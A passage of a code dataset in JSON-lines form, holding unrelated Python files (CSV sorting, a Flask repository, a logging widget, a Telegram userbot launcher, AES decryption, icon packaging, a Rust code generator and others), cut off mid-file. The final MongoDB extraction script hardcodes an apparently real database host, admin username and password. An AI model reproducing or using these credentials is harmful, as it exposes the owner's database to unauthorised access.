datetime\n\n\nclass RawCsvSort(BaseProcessor):\n \"\"\"\n This is a wrapper class around the module csvsort found here: https://pypi.python.org/pypi/csvsort/1.2\n \n This will sort as much as you want via memory.. but when that is exceeded it will create files and sort those row by row\n 3/19/2015 - there were some flaws with the original code.. so I ended copying it into the utilities module and using it here\n \n Problem #1 - Reader wasn't closed so couldn't remove temp files\n Problem #2 - Temporary directory was in the same place as the codee.. no way to override that\n Problem #3 - Line terminator needed to be added as an argument to the csv writer\n \n 03/20/2015 - plan is to contact the developer and inquire about the fixes for this approach.. as this seems to be a solid start\n \"\"\"\n\n def execute_processor(self):\n \"\"\"\n get the parameters needed for this and run csvsort\n \"\"\"\n # pull in the parameter that has the file name that we will process\n filename = self.param_dict['sort_file']\n \n # get the path to the file we'll read in\n csv_in = os.path.join(self.entry.working_directory,filename)\n csv_out = self.get_temp_csv_name()\n \n has_header = True if self.param_dict.get('has_header','True') == 'True' else False\n max_size = int(self.param_dict.get('max_size','100'))\n delimiter = self.param_dict.get('delimiter',',')\n \n \n columns = self.param_dict.get('sort_columns','0').split(',')\n columns = [int(column) if column.isdigit() else column for column in columns]\n \n \n global TMP_DIR \n TMP_DIR = os.path.join(self.entry.working_directory,'.csvsort.%d' % os.getpid())\n\n csvsort(csv_in, columns, csv_out, max_size, has_header, delimiter)\n return 0\n\nif __name__ == \"__main__\":\n \"\"\"\n allow to run outside of framework\n \"\"\"\n params = {}\n params['run_date'] = datetime.datetime.today()\n params['name'] = 'raw_csv_sort'\n params['source_file'] = None\n params['description'] = \"local version of raw csv sorter\"\n params['src_implementation'] = None\n params['working_directory'] = r'D:\\python_scripts\\rawdataprocessor\\output'\n params['sort_file'] = 'adp data.csv'\n params['out_sort_file'] = 'srt_adp data.csv'\n params['max_size'] = '1'\n params['sort_columns'] = 'claim_number'\n c_entry = ConfigEntry(params)\n params['entry'] = c_entry\n rawcsv = RawCsvSort(params)\n rawcsv.execute_processor()\n ","sub_path":"rawdata_emca/processor/rawcsvsort.py","file_name":"rawcsvsort.py","file_ext":"py","file_size_in_byte":2764,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"358857086","text":"from app import db\nfrom app.models.category import Category\n\nclass CategoryRepository:\n\n @staticmethod\n def name_to_category(category_name: str) -> Category:\n \"\"\"\n Returns the id associated with a category name, None if it doesn't exist\n \"\"\"\n return Category.query.filter_by(name=category_name).first()\n\n\n @staticmethod\n def add_category(name:str):\n \"\"\"\n Adds a category to the table\n \"\"\"\n\n if CategoryRepository.name_to_id(name) != None:\n raise ValueError(\"Tried to add an already-existing category\")\n\n new_cat = Category(name)\n \n db.session.add(new_cat)\n \n db.session.commit()\n \n","sub_path":"app/repositories/categories.py","file_name":"categories.py","file_ext":"py","file_size_in_byte":698,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"84277927","text":"import time\nimport ipywidgets as widgets\nimport logging\nfrom IPython.display import display\n\n\nclass LoggingWidget(logging.StreamHandler):\n \"\"\"Widget that shows the last filtered logging messages\n\n Usage:\n To create the logging widget and have it show only speicfic messages\n from the layout, execute the following code\n\n ```\n logging_widget = LoggingWidget(\n select_messages=[\n {'sender': 'layout', 'message': 'targeting pulse sequence'},\n {'sender': 'layout', 'message': 'layout setup'},\n {'sender': 'layout', 'message': 'layout started'},\n {'sender': 'layout', 'message': 'layout stopped'},\n {'sender': 'layout', 'message': 'performing acquisition'}\n ],\n max_rows=10\n )\n logging_widget.display()\n ```\n \"\"\"\n def __init__(self, widget=None, select_messages=None, max_rows=10):\n if widget is None:\n widget = widgets.SelectMultiple(rows=1, layout=widgets.Layout(width='99%', max_width='500px'))\n\n self.widget = widget\n\n self.select_messages = select_messages or []\n self.max_rows = max_rows\n\n self._last_records = []\n\n super().__init__()\n\n def display(self):\n display(self.widget)\n\n def _valid_message(self, record):\n msg = self.format(record)\n sender = record.name\n\n for select_message in self.select_messages:\n if isinstance(select_message, str):\n if select_message in msg:\n return True\n elif isinstance(select_message, dict):\n if 'message' in select_message and select_message['message'].lower() not in msg.lower():\n continue\n if 'sender' in select_message and select_message['sender'].lower() not in sender.lower():\n continue\n return True\n else:\n return False\n\n def emit(self, record):\n self._last_records.append(record)\n self._last_records = self._last_records[:100]\n\n msg = self.format(record)\n sender = record.name.split('.')[-1]\n\n if not self._valid_message(record):\n return\n\n # Add message to stack\n timestamp = time.strftime('%H:%M:%S')\n message = f'{timestamp} - {sender}: {msg}'\n options = list(self.widget.options)\n options = [message] + options\n options = options[:self.max_rows]\n self.widget.options = options\n self.widget.rows = len(options)+2\n","sub_path":"qcodes/widgets/logging_widget.py","file_name":"logging_widget.py","file_ext":"py","file_size_in_byte":2576,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"545136383","text":"import sys\n\nimport audynesia\nfrom audynesia import BOTLOG_CHATID, HEROKU_APP, PM_LOGGER_GROUP_ID\n\nfrom .Config import Config\nfrom .core.logger import logging\nfrom .core.session import udy\nfrom .utils import (\n add_bot_to_logger_group,\n ipchange,\n load_plugins,\n setup_bot,\n startupmessage,\n verifyLoggerGroup,\n)\n\nLOGS = logging.getLogger(\"AudyNesia\")\n\nprint(audynesia.__copyright__)\nprint(\"Licensed under the terms of the \" + audynesia.__license__)\n\ncmdhr = Config.COMMAND_HAND_LER\n\ntry:\n LOGS.info(\"Starting Userbot\")\n udy.loop.run_until_complete(setup_bot())\n LOGS.info(\"Telegram Bot Startup Completed\")\nexcept Exception as e:\n LOGS.error(f\"{str(e)}\")\n sys.exit()\n\n\nclass AudyNesiaCheck:\n def __init__(self):\n self.sucess = True\n\n\nAudyNesiacheck = AudyNesiaCheck()\n\n\nasync def startup_process():\n check = await ipchange()\n if check is not None:\n AudyNesiacheck.sucess = False\n return\n await verifyLoggerGroup()\n await load_plugins(\"plugins\")\n await load_plugins(\"assistant\")\n print(\"========================================\")\n print(\"Okay, AudyNesia is Officially Working.!!!\")\n print(\n f\"Now type {cmdhr}alive to see message if udy is live\\\n \\nIf you need assistance.\"\n )\n print(\"========================================\")\n print(audynesia.__copyright__)\n print(\"Licensed: \" + audynesia.__license__)\n await verifyLoggerGroup()\n await add_bot_to_logger_group(BOTLOG_CHATID)\n if PM_LOGGER_GROUP_ID != -100:\n await add_bot_to_logger_group(PM_LOGGER_GROUP_ID)\n await startupmessage()\n AudyNesiacheck.sucess = True\n return\n\n\nudy.loop.run_until_complete(startup_process())\n\nif len(sys.argv) not in (1, 3, 4):\n udy.disconnect()\nelif not AudyNesiacheck.sucess:\n if HEROKU_APP is not None:\n HEROKU_APP.restart()\nelse:\n try:\n udy.run_until_disconnected()\n except ConnectionError:\n pass\n","sub_path":"audynesia/__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":1944,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"241481753","text":"# question7: binary to decimal with input\n\n\nb_num = list(input(\"Input a binary number: \"))\nprint(b_num)\nvalue = 0\nfor i in range(len(b_num)):\n\tnum = b_num.pop()\n\tif num == '1':\n\t\tvalue = value + pow(2, i)\nprint(\"The decimal value of the number is\", value)\n","sub_path":"binary to decimal with input.py","file_name":"binary to decimal with input.py","file_ext":"py","file_size_in_byte":256,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"528691061","text":"import getscore\nimport os\nimport glob\nimport cv2\nimport numpy as np\n\ntest_img_path = 'RUNS/crackSeg_2018_12_04_16.02/test_images/'\n#test_img_path = 'RUNS/crackSeg_2018_11_26_21.52/test_images/'\ngt_img_path = 'DATA/data_crack_correct/training/'\n\n#num = len(test_imgs_names)\nnum = 56\ntest_imgs_names = sorted(glob.glob(test_img_path + '*.png'))[:num]\ngt_imgs_names = sorted(glob.glob(gt_img_path + '*_gt.png'))[:num]\n#print(test_imgs_names)\n#print(gt_imgs_names)\navg = 0\navg_pixel_diff_pct = 0\nthresh = 60\n\nbinary_output_path = os.path.join(test_img_path, 'binary_output')\nif not os.path.exists(binary_output_path):\n os.makedirs(binary_output_path)\n\nfor i, (img_name, gt_name) in enumerate(zip(test_imgs_names, gt_imgs_names)):\n if i % 4 != 3:\n continue\n img = cv2.imread(img_name, 0)\n img[img <= thresh] = 0\n img[img > thresh] = 1\n \n basename = os.path.basename(img_name)\n binary_img_path = os.path.join(binary_output_path, basename)\n cv2.imwrite(binary_img_path, img * 255)\n gt = cv2.imread(gt_name, 0)\n gt[gt > 1] = 1\n\n num_pixels = img.shape[0] * img.shape[1]\n tmp = (img == gt)\n #print(tmp.shape)\n #print(np.max(img), np.max(gt))\n #print(np.max(tmp), np.min(tmp))\n #pixel_diff = np.sum(np.abs(img - gt))\n #if pixel_diff > num_pixels:\n # print(pixel_diff, num_pixels)\n pixel_diff_pct = np.sum(tmp) / float(num_pixels)\n avg_pixel_diff_pct += pixel_diff_pct\n scores = getscore.get_score(img, gt)\n avg += scores[0]\n print(os.path.basename(img_name), pixel_diff_pct, scores[:-1])\n\nprint('avg score: {}'.format(avg / float(num / 4)))\nprint('avg pixel diff pct: {}'.format(avg_pixel_diff_pct / float(num / 4)))\n","sub_path":"get_all_scores.py","file_name":"get_all_scores.py","file_ext":"py","file_size_in_byte":1689,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"628147228","text":"import AEStools as at\n\ndef decrypt(ctext, rk):\n rnd = []\n\n s = at.strToList(ctext, 2)\n s = at.xorList(s,rk[10])\n \n for i in range(1, len(rk)):\n s = at.shiftColumn(s, 'right')\n s = at.sub(s, at.invSbox)\n \n if (len(rk)-1-i)!= 0:\n s = at.xorList(s,rk[len(rk)-1-i])\n s = at.trans(s)\n s = at.strToList(s, 2)\n s = at.mix(s, at.weightInvMC)\n s = at.trans(s)\n s = at.strToList(s, 2)\n\n s = at.xorList(s, rk[0])\n return ''.join(s)","sub_path":"decryptAES_2.py","file_name":"decryptAES_2.py","file_ext":"py","file_size_in_byte":535,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"298268988","text":"# Python bytecode 2.7 (decompiled from Python 2.7)\n# Embedded file name: e:\\jenkins\\workspace\\client_SERENITY\\branches\\release\\SERENITY\\packages\\iconrendering\\packaging_cli.py\nimport argparse\nimport contextlib\nimport glob\nimport logging\nimport os\nimport shutil\nimport stat\nimport sys\nimport tempfile\nfrom collections import namedtuple\npkgspath = os.path.abspath(os.path.join(os.path.dirname(__file__), '..'))\nif pkgspath not in sys.path:\n sys.path.append(pkgspath)\nimport itertoolsext\nimport osutils\nimport stdlogutils\nimport zipfileutils\nimport iconrendering\nL = logging.getLogger('iec_cli_%s' % os.getpid())\nIEC_DEFAULT_PATH = '\\\\\\\\JENKINS-T02\\\\iconrendering\\\\release\\\\good'\nIMAGE_SET_DEFAULT_PATH = os.path.join('..', '..', 'eve', 'web', 'image', 'ProjectFiles', 'MinimalImageSet')\nIMAGE_SET_DEFAULT_PATH_ZH = os.path.join('..', '..', 'eve', 'web', 'image', 'ProjectFiles', 'MinimalImageSet.ZH')\nBASE_RES_PATH = os.path.join('..', '..', 'eve', 'client', 'res')\nCUSTOM_ICON_FILE = '3rdPartyIcons.txt'\nALLIANCE_SRCDIR = 'Alliances'\nCHARACTERS_SRCDIR = 'Characters'\nTYPES_DUMMY_SRCDIR = 'Types'\nRENDERS_DUMMY_SRCDIR = 'Renders'\nCORPORATIONS_DIR = 'Corporations'\nICONS_DIR = 'Icons'\nTYPES_DIR = 'Types'\nRENDERS_DIR = 'Renders'\nIMAGE_SET_ALL = 'ImageSet'\nIMAGE_SET_COMPLETE = 'ImageSetComplete'\nIMAGE_SET_MINIMAL = 'ImageSetMinimal'\nIEC_ALL = 'IEC'\nIEC_TYPES = 'IECTypes'\nIEC_ICONS = 'IECIcons'\nIEC_RENDERS = 'IECRenders'\n\ndef ParseOpts():\n p = argparse.ArgumentParser(description='Package up Icon Rendering output into various formats.')\n p.add_argument('outdir', help='Destination directory.')\n p.add_argument('deco', help='Injected into the name of the output file.')\n choices = [IEC_ALL, IMAGE_SET_ALL]\n p.add_argument('collection', choices=choices, help='Specify which image collections to build. %s generates all IEC zip files. %s generates Alliances and Complete ImageSet zip files.' % (IEC_ALL, IMAGE_SET_ALL))\n p.add_argument('--iecsource', '-e', metavar='DIRPATH', default=None, type=str, help='Source dir for IEC iconrendering output.')\n p.add_argument('--imagesetsource', '-m', metavar='DIRPATH', default=None, type=str, help='Source dir for MinimalImageSet data.')\n p.add_argument('--debug', '-d', action='store_true', help='Output debug information and preserve temporary folder.')\n p.add_argument('--zh', '-z', action='store_true', help='ImageSet zip files are generated for china.')\n return p.parse_args()\n\n\nimage_collection = namedtuple('image_collection', ['filename', 'dirs'])\n\ndef GetWhitelistedItems(whitelist_path, whitelist_file, destination_prefix):\n l = []\n old_dir = os.getcwd()\n destination_path = destination_prefix\n with open(whitelist_file, 'r') as f:\n os.chdir(whitelist_path)\n for line in f:\n line = line.strip()\n if len(line) == 0:\n continue\n if line[0] == ':':\n destination_path = os.path.join(destination_prefix, line[1:])\n continue\n for each in glob.glob(line):\n src_path = os.path.abspath(each)\n l.append((src_path, destination_path))\n\n os.chdir(old_dir)\n return l\n\n\ndef GetRecipes(name_deco, iec_dir, image_set_dir):\n alliance_srcdir = os.path.join(image_set_dir, ALLIANCE_SRCDIR)\n characters_srcdir = os.path.join(image_set_dir, CHARACTERS_SRCDIR)\n types_dummy_srcdir = os.path.join(image_set_dir, TYPES_DUMMY_SRCDIR)\n renders_dummy_srcdir = os.path.join(image_set_dir, RENDERS_DUMMY_SRCDIR)\n corporations_dir = os.path.join(image_set_dir, CORPORATIONS_DIR)\n icons_dir = os.path.join(iec_dir, ICONS_DIR)\n types_dir = os.path.join(iec_dir, TYPES_DIR)\n renders_dir = os.path.join(iec_dir, RENDERS_DIR)\n icon_dirs = [(icons_dir, 'Icons')]\n icon_dirs.extend(GetWhitelistedItems(BASE_RES_PATH, CUSTOM_ICON_FILE, 'Icons'))\n return {IMAGE_SET_COMPLETE: image_collection(filename='ImageSet-Complete-%s.zip' % name_deco, dirs=(\n (\n alliance_srcdir, 'ImageSet\\\\Alliances'),\n (characters_srcdir,\n 'ImageSet\\\\Characters'), (corporations_dir, 'ImageSet\\\\Corporations'), (renders_dir, 'ImageSet\\\\Renders'),\n (\n types_dir, 'ImageSet\\\\Types'), (renders_dummy_srcdir, 'ImageSet\\\\Renders'), (types_dummy_srcdir, 'ImageSet\\\\Types'))),\n IMAGE_SET_MINIMAL: image_collection(filename='ImageSet-Minimal-%s.zip' % name_deco, dirs=((alliance_srcdir, 'ImageSet\\\\Alliances'), (characters_srcdir, 'ImageSet\\\\Characters'), (corporations_dir, 'ImageSet\\\\Corporations'), (renders_dummy_srcdir, 'ImageSet\\\\Renders'), (types_dummy_srcdir, 'ImageSet\\\\Types'))),IEC_TYPES: image_collection(filename='%sTypes.zip' % name_deco, dirs=((types_dir, 'Types'),)),IEC_ICONS: image_collection(filename='%sIcons.zip' % name_deco, dirs=icon_dirs),IEC_RENDERS: image_collection(filename='%sRenders.zip' % name_deco, dirs=((renders_dir, 'Renders'),))\n }\n\n\ndef GetPackagesToProcess(opts):\n if opts.collection == IEC_ALL:\n return (IEC_TYPES, IEC_RENDERS, IEC_ICONS)\n if opts.collection == IMAGE_SET_ALL:\n return (IMAGE_SET_COMPLETE,)\n return (opts.collection,)\n\n\ndef _Listdirs(folder):\n return [ path for path in (os.path.join(folder, d) for d in os.listdir(folder)) if os.path.isdir(path) ]\n\n\ndef GetLatestIECDirectory(searchpath=IEC_DEFAULT_PATH):\n latestdir = itertoolsext.first(sorted(_Listdirs(searchpath), key=os.path.getmtime, reverse=True))\n return latestdir\n\n\ndef _RmTree(directory):\n\n def on_rm_error(func, path, exc_info):\n os.chmod(path, stat.S_IWRITE)\n os.remove(path)\n\n shutil.rmtree(directory, onerror=on_rm_error)\n\n\n@contextlib.contextmanager\ndef DirectoryStaged(doCleanup=True):\n dst = tempfile.mkdtemp('staged')\n _RmTree(dst)\n try:\n yield dst\n finally:\n if doCleanup:\n _RmTree(dst)\n\n\ndef CopyFileTo(sourcePath, srcFilePath, dstroot):\n relfp = os.path.relpath(srcFilePath, sourcePath)\n dstfp = os.path.join(dstroot, relfp)\n if not os.path.exists(os.path.dirname(dstfp)):\n os.makedirs(os.path.dirname(dstfp))\n shutil.copy(srcFilePath, dstfp)\n if not os.access(dstfp, os.W_OK):\n os.chmod(dstfp, stat.S_IWRITE)\n\n\ndef CopyFolderContent(src, dstroot):\n for fp in osutils.FindFiles(src):\n CopyFileTo(src, fp, dstroot)\n\n\ndef ProcessPackage(recipe, stagingdir, destfile):\n for src, dest in recipe:\n L.debug('Copying %s to %s', src, dest)\n destpath = os.path.join(stagingdir, dest)\n if os.path.isdir(src):\n CopyFolderContent(src, destpath)\n else:\n CopyFileTo(os.path.dirname(src), src, destpath)\n\n L.debug('Creating zip file %s', destfile)\n zipfileutils.zip_dir(stagingdir, destfile)\n L.debug('Finished processing package.')\n\n\ndef Main():\n opts = ParseOpts()\n loglevel = logging.DEBUG if opts.debug else logging.INFO\n logging.basicConfig(level=loglevel, filename=stdlogutils.GetTimestampedFilename2(iconrendering.APPNAME), format=stdlogutils.Fmt.NTLM)\n streamh = logging.StreamHandler(sys.stdout)\n streamh.setFormatter(stdlogutils.Fmt.FMT_NTLM)\n L.addHandler(streamh)\n outdir = os.path.abspath(opts.outdir)\n name_deco = opts.deco\n iec_dir = opts.iecsource or GetLatestIECDirectory()\n if opts.zh:\n imageset_dir = opts.imagesetsource or IMAGE_SET_DEFAULT_PATH_ZH\n else:\n imageset_dir = opts.imagesetsource or IMAGE_SET_DEFAULT_PATH\n recipes = GetRecipes(name_deco, iec_dir, imageset_dir)\n L.debug('Outdir is: %s', outdir)\n for package in GetPackagesToProcess(opts):\n with DirectoryStaged(not opts.debug) as stagingdir:\n if opts.debug:\n L.debug('Using staging directory: %s', stagingdir)\n recipe = recipes[package]\n destfile = os.path.join(outdir, recipe.filename)\n if opts.debug:\n L.debug('Generating %s as %s.', package, destfile)\n ProcessPackage(recipe.dirs, stagingdir, destfile)\n\n sys.exit(0)\n\n\nif __name__ == '__main__':\n Main()","sub_path":"client/iconrendering/packaging_cli.py","file_name":"packaging_cli.py","file_ext":"py","file_size_in_byte":8152,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"550517688","text":"from app.forms.fields.multiple_select_field_with_detail_answer import (\n MultipleSelectFieldWithDetailAnswer,\n)\nfrom app.forms.field_handlers.select_handler import SelectHandler\n\n\nclass SelectMultipleHandler(SelectHandler):\n MANDATORY_MESSAGE_KEY = \"MANDATORY_CHECKBOX\"\n\n def get_field(self) -> MultipleSelectFieldWithDetailAnswer:\n return MultipleSelectFieldWithDetailAnswer(\n label=self.label,\n description=self.guidance,\n choices=self.build_choices_with_detail_answer_ids(\n self.answer_schema[\"options\"]\n ),\n validators=self.validators,\n )\n","sub_path":"app/forms/field_handlers/select_multiple_handler.py","file_name":"select_multiple_handler.py","file_ext":"py","file_size_in_byte":636,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"72349520","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport sdf\nimport os\nimport sys\nimport scipy.signal as signal\nimport constant as const\nimport scipy.fftpack as fftpack\nimport multiprocessing\nfrom matplotlib.ticker import MultipleLocator, FuncFormatter\nfrom numba import njit\nplt.switch_backend('agg')\n\n\nstart = const.start\nstop = const.stop\nx_interval = const.x_interval\nlimit_min = 0.1e12\nlimit_max = 10e12\ni1 = const.start\ni2 = const.stop + const.step\nsavefigdir = const.figdir + 'EyThz' + 'Efficiency2d.png'\nsavefigdir2 = const.figdir + 'field_energe.png'\ninterval = 100\n\n\n@njit\ndef Kfilter(k_bz2, R1, R2):\n x1 = const.Nx - 1\n y1 = const.Ny - 1\n delta_kx = 3.14 / const.delta_x / (const.Nx / 2)\n delta_ky = 3.14 / const.delta_y / (const.Ny / 2)\n for i in range(0, const.Nx):\n for j in range(0, const.Ny):\n if i**2 + (j * delta_ky / delta_kx)**2 > R2**2 and (i - x1)**2 + (j * delta_ky / delta_kx)**2 > R2**2 and i**2 + \\\n ((j - y1) * delta_ky / delta_kx)**2 > R2**2 and (i - x1)**2 + ((j - y1) * delta_ky / delta_kx)**2 > R2**2:\n k_bz2[i, j] = 0\n if i**2 + (j * delta_ky / delta_kx)**2 < R1**2 and i**2 + ((j - y1) * delta_ky / delta_kx)**2 < R1**2 and (\n i - x1)**2 + (j * delta_ky / delta_kx)**2 < R1**2 and (i - x1)**2 + ((j - y1) * delta_ky / delta_kx)**2 < R1**2:\n k_bz2[i, j] = 0\n return k_bz2\n\ndef plotE(E,x,savedir):\n #const.figdir + str(x) + str(E) + 'Field.jpg'\n plt.figure(figsize=[4,3])\n x = np.linspace(0,const.x_end/1e-6,const.Nx)\n y = np.linspace(0,const.y_lenth/1e-6,const.Ny)\n X,Y = np.meshgrid(x,y)\n #plt.pcolormesh(X[::int(E.shape[1]/500),::int(E.shape[0]/500)],Y[::int(E.shape[1]/500),::int(E.shape[0]/500)],E[::int(E.shape[0]/500),::int(E.shape[1]/500)].T)\n plt.pcolormesh(X,Y,E.T,cmap=plt.cm.bwr)\n plt.colorbar()\n plt.xlabel('um')\n plt.ylabel('um')\n #title = str(str(float(x)*const.dt_snapshot/1e-15) + 'fs')\n #plt.title(title)\n plt.savefig(savedir,dpi=160,bbox_inches = 'tight')\n plt.close('all')\n\ndef k_n():\n\tk_n = []\n\tdelta_k = 3.14 / const.delta_x / (const.Nx / 2)\n\tfor n in range(0, const.Nx):\n\t\tmi = 3e8 / limit_min\n\t\tma = 3e8 / limit_max\n\t\tif 2 * 3.14 / ma > n * delta_k and n * delta_k > 2 * 3.14 / mi:\n\t\t\tk_n.append(n)\n\treturn k_n\n\n\ndef draw(x):\n savefigdir = const.figdir + str(x) + 'k_bz.png'\n sdfdir = const.sdfdir + str(x).zfill(const.filenumber) + \".sdf\"\n\n if os.path.exists(sdfdir) == False:\n return[np.nan, np.nan, np.nan]\n\n data = sdf.read(sdfdir, dict=True)\n\n try:\n Bz = data['Electric Field/Ey']\n except:\n print('not Bz exists')\n return [np.nan, np.nan, np.nan]\n\n time = data['Header']['time']\n\n try:\n total = data['Total Field Energy in Simulation (J)'].data\n except:\n total = 0\n\n bz = Bz.data\n k_bz = np.fft.fft2(bz)\n delta_k = 3.14 / const.delta_x / (const.Nx / 2)\n k_bz2 = k_bz * 1\n #######\n R1 = k_n[0]\n R2=k_n[-1]\n k_bz2 = Kfilter(k_bz2,R1,R2)\n bz_filter=np.fft.ifft2(k_bz2)\n E_x=np.sum(np.sum(np.square(bz)))\n E_Thz=np.sum(np.sum(np.square(bz_filter.real)))\n eff=E_Thz/E_x\n pngdir = const.gifdir + 'Kpolarpng/'\n os.makedirs(pngdir,exist_ok = True)\n ####savedir###\n savedir = pngdir + 'F' + str(x) + 'Eyfilter.jpg'\n plotE(bz_filter.real,x,savedir)\n print(\"efficiency\",E_x,E_Thz,total)\n return [E_x,E_Thz,total]\nprint(const.window_start_time)\n\n\n#if os.path.exists(const.txtdir + 'EffEy.npy') == True:\n# sys.exit()\n\n\nk_n=k_n()\n\nconst.txtdir + 'ey_energe.txt'\n\npool = multiprocessing.Pool(processes=96)\n# final_energe = pool.map(draw,range(int(i1-1),int(i2+interval),interval))\n\nmapList=np.arange(start,stop+int(stop/interval),int(stop/interval))\n# final_energe = pool.map(draw,mapList)\nfinal_energe = pool.map(draw,mapList)\n\n#\n###\n# total_energe_max\n\ntotal_energe=(np.array(final_energe))[:,2]\n\n# os.path.exists(const.txtdir + 'bz_energe.txt')\n# const.txtdir + 'eff_locate_bz.txt'\n# b=(np.nanargmax(total_energe))*interval\n\n######fwhm*2####\nb=(const.las_t_fwhm1/const.dt_snapshot)*2\n#########\n\n#####1/2 of window####\n# b = const.x_max/3e8/const.dt_snapshot/2\n######\nb = int(b)\n\n\nprint('b',b)\nstart=draw(b)\n# print(start)\n\nEnerge=np.array(final_energe)\nEnerge=Energe[:,1]\nS_E=start[0]\n\n\n\nprint('sdf1,sdf2',i1,i2)\nprint('Thz',limit_min,limit_max)\n# efficiency=np.array(np.array(final_energe)/start[0])[:,1]\n\nefficiency=Energe/S_E\n\nmax_index = i1+efficiency.argmax() \nmax_distance = 3e8 * (max_index * const.dt_snapshot - const.window_start_time) * 1e6\nprint('max_index',str(max_index))\nprint('distance:',str(max_distance))\nprint('eff:',str(np.nanmax(efficiency)))\nnp.save(const.txtdir + 'EffEy.npy',efficiency)\n\ntime=mapList\n# time = np.arange(int(i1-1),int(i2+interval),interval)\nlocate = (time*const.dt_snapshot - const.window_start_time)*3e8*1e6\n\n\nnp.save(const.txtdir + 'EffLocateEy.npy',locate)\n\nplt.figure(figsize=(4,3))\nplt.plot(locate,efficiency)\n# plt.plot(locate,total_energe)\nplt.xlabel('$\\mu m$')\nplt.ylabel('efficiency')\nplt.savefig(savefigdir,dpi=200,bbox_inches ='tight')\n\nplt.close('all')\n\n\nplt.figure(figsize=(4,3))\n# plt.plot(locate,efficiency)\nplt.plot(locate,total_energe)\nplt.xlabel('$\\mu m$')\nplt.ylabel('total_ey')\nplt.savefig(savefigdir2,dpi=200,bbox_inches ='tight')\n\n\n\n\n# plt.plot(locate,efficiency)\n# plt.savefig(savefigdir,dpi=200)\n\n","sub_path":"effEy.py","file_name":"effEy.py","file_ext":"py","file_size_in_byte":5398,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"55567882","text":"'''\n Copyright (c) 2018 HERE Europe B.V.\n See the LICENSE file in the root of this project for license details.\n'''\n\nfrom generator.tree.nodes.resources import (Vector, Multivector, Instance, RawData, BoundResource,\n Archive as ArchiveResource)\nfrom generator.tree.nodes.trivial import Structure, Constant, Enumeration\nfrom generator.tree.nodes.archive import Archive\nfrom generator.tree.syntax_tree import SyntaxTree\nfrom .BaseGenerator import BaseGenerator\n\nimport re\n\nclass RustGenerator(BaseGenerator):\n\n RESERVED_KEYWORDS = [\n \"abstract\", \"alignof\", \"as\", \"become\", \"box\", \"break\", \"const\", \"continue\", \"crate\", \"do\",\n \"else\", \"enum\", \"extern\", \"false\", \"final\", \"fn\", \"for\", \"if\", \"impl\", \"in\", \"let\", \"loop\",\n \"macro\", \"match\", \"mod\", \"move\", \"mut\", \"offsetof\", \"override\", \"priv\", \"proc\", \"pub\",\n \"pure\", \"ref\", \"return\", \"self\", \"sizeof\", \"static\", \"struct\", \"super\", \"trait\", \"true\",\n \"type\", \"typeof\", \"unsafe\", \"unsized\", \"use\", \"virtual\", \"where\", \"while\", \"yield\"]\n\n def __init__(self):\n BaseGenerator.__init__(self, \"rust/rust.jinja2\")\n\n def _supported_nodes(self):\n return [Structure, Archive, Constant, Enumeration]\n\n def _populate_environment(self, env):\n def _camel_to_snake_case(s):\n s1 = re.sub('(.)([A-Z][a-z]+)', r'\\1_\\2', s)\n return re.sub('([a-z0-9])(A-Z)', r'\\1_\\2', s1).lower()\n\n env.filters[\"camel_to_snake_case\"] = _camel_to_snake_case\n\n def _snake_to_upper_camel_case(s):\n return ''.join(p.title() for p in s.split('_'))\n\n env.filters[\"snake_to_upper_camel_case\"] = _snake_to_upper_camel_case\n\n def _rust_doc(s):\n lines = [\n re.sub(r'^[ \\t]*(/\\*\\*|/\\*|\\*/|\\*)\\s*(.*?)\\s*(\\*/)?$', r\"/// \\2\", line).strip()\n for line in s.split('\\n')\n ]\n start = 0\n end = len(lines)\n if lines[0] == \"///\":\n start = 1\n if lines[-1] == \"///\":\n end = -1;\n return \"\\n\".join(lines[start:end])\n\n env.filters[\"rust_doc\"] = _rust_doc\n\n def _escape_rust_keywords(s):\n if s in self.RESERVED_KEYWORDS:\n return \"{}_\".format(s)\n return s\n\n env.filters[\"escape_rust_keywords\"] = _escape_rust_keywords\n\n env.filters['instance_resources'] = lambda ls: [\n x for x in ls if isinstance(x, Instance)]\n env.filters['vector_resources'] = lambda ls: [\n x for x in ls if isinstance(x, Vector)]\n env.filters['multivector_resources'] = lambda ls: [\n x for x in ls if isinstance(x, Multivector)]\n env.filters['rawdata_resources'] = lambda ls: [\n x for x in ls if isinstance(x, RawData)]\n env.filters['subarchive_resources'] = lambda ls: [\n x for x in ls if isinstance(x, ArchiveResource)]\n\n env.filters[\"supported_resources\"] = lambda l: [\n x for x in l if not isinstance(x, BoundResource)]\n","sub_path":"generator/generators/RustGenerator.py","file_name":"RustGenerator.py","file_ext":"py","file_size_in_byte":3011,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"231062203","text":"import pymongo\nfrom pymongo import MongoClient\nimport pandas as pd\nimport numpy as np\nfrom sklearn.linear_model import LinearRegression\nimport matplotlib.pyplot as plt\nimport io\nimport base64\ndef data_extract(cityname, factor1, factor2, factor3):\n connection = MongoClient('ds020208.mlab.com', 20208)\n db = connection['assignment2']\n db.authenticate('admin', 'LIjiachen0717')\n collection = db['City']\n collectiondata = collection.find({'collection_id': 'Cities Data'})\n cities = []\n for doc in collectiondata:\n for data in doc['entries']:\n cities.append(data['Cities'])\n cities = list(set(cities))\n\n cities_dict = {}\n\n connection = MongoClient('ds020208.mlab.com', 20208)\n db = connection['assignment2']\n db.authenticate('admin', 'LIjiachen0717')\n collection = db['City']\n collectiondata = collection.find({'collection_id': 'Cities Data'})\n for doc in collectiondata:\n for city in cities:\n list1 = []\n for data in 